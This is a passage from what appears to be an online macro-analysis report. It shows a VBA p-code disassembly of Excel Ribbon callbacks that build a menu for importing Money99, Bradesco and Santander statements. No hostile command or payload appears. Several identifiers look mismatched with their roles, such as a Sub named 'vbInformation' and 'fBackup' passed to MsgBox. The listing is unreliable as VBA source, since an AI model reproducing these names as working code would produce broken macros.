' 	ArgsMemCall fPedreiros 0x0000 
' Line #29:
' 	LitStr 0x0012 "btnDicionarioDados"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	ArgsCall (Call) fPagamentos 0x0000 
' Line #30:
' 	LitStr 0x0009 "btnBackup"
' 	Case 
' 	CaseDone 
' 	BoS 0x0000 
' 	Ld AtualizaBD 
' 	ArgsMemCall fPedreiros 0x0000 
' Line #31:
' 	QuoteRem 0x000C 0x0026 "Case "btnOrcamentos": fOrcamentos.Show"
' Line #32:
' 	CaseElse 
' 	BoS 0x0000 
' 	LitStr 0x001C "Botao ainda nao implementado"
' 	Ld fBackup 
' 	ArgsCall MsgBox 0x0002 
' Line #33:
' 	EndSelect 
' Line #34:
' 	EndIfBlock 
' Line #35:
' Line #36:
' 	EndSub 
' Line #37:
' Line #38:
' 	QuoteRem 0x0000 0x001C "Callback for customUI.onLoad"
' Line #39:
' 	FuncDefn (Sub vbInformation(ribbonLoaded As String))
' Line #40:
' 	Stop 
' Line #41:
' 	SetStmt 
' 	Ld ribbonLoaded 
' 	Set IRibbonUI 
' Line #42:
' 	EndSub 
' Line #43:
' Line #44:
' Line #45:
' 	QuoteRem 0x0000 0x0023 "Callback for DynamicMenu getContent"
' Line #46:
' 	FuncDefn (Sub Myribbon(OnActionButton As String, ByRef dyMenuImportacoes))
' Line #47:
' 	QuoteRem 0x0000 0x003B "   This procedure is executed whenever a sheet is activated"
' Line #48:
' 	QuoteRem 0x0000 0x0039 "   (See the Worksheet_Activate procedure in ThisWorkbook)"
' Line #49:
' Line #50:
' 	Dim 
' 	VarDefn returnedVal (As String)
' Line #51:
' Line #52:
' 	QuoteRem 0x0000 0x002C "   Read the XML markup from the active sheet"
' Line #53:
' 	LitStr 0x000C "<menu xmlns="
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0034 "http://schemas.microsoft.com/office/2006/01/customui"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #54:
' 	Ld returnedVal 
' 	LitStr 0x0002 " >"
' 	Concat 
' 	St returnedVal 
' Line #55:
' 	Ld returnedVal 
' 	LitStr 0x000B "<button id="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x000B "bTransConta"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 " image="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 "money99"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #56:
' 	Ld returnedVal 
' 	LitStr 0x0007 " label="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x001C "Money99: Transacoes da conta"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #57:
' 	Ld returnedVal 
' 	LitStr 0x000A " onAction="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0017 "ActionDyMenuImportacoes"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0003 " />"
' 	Concat 
' 	St returnedVal 
' Line #58:
' 	Ld returnedVal 
' 	LitStr 0x000B "<button id="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 "bSaldos"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 " image="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 "money99"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #59:
' 	Ld returnedVal 
' 	LitStr 0x0007 " label="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0019 "Money99: Saldo das contas"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #60:
' 	Ld returnedVal 
' 	LitStr 0x000A " onAction="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0017 "ActionDyMenuImportacoes"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0003 " />"
' 	Concat 
' 	St returnedVal 
' Line #61:
' 	Ld returnedVal 
' 	LitStr 0x000B "<button id="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x000B "bBradescoCC"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 " image="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0008 "bradesco"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #62:
' 	Ld returnedVal 
' 	LitStr 0x0007 " label="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0023 "Bradesco: Extrato da conta corrente"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #63:
' 	Ld returnedVal 
' 	LitStr 0x000A " onAction="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0017 "ActionDyMenuImportacoes"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0003 " />"
' 	Concat 
' 	St returnedVal 
' Line #64:
' 	Ld returnedVal 
' 	LitStr 0x000B "<button id="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0010 "bSantanderFatura"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0007 " image="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x0009 "santander"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #65:
' 	Ld returnedVal 
' 	LitStr 0x0007 " label="
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	LitStr 0x001B "Santander: Fatura de cartao"
' 	Concat 
' 	LitDI2 0x0022 
' 	ArgsLd Chr 0x0001 
' 	Concat 
' 	St returnedVal 
' Line #66:
' 	Ld returnedVal 
' 	LitStr 0x000A " onAction="
' 	Concat 
…

Open this report in the interactive analyzer, or submit your own file for analysis.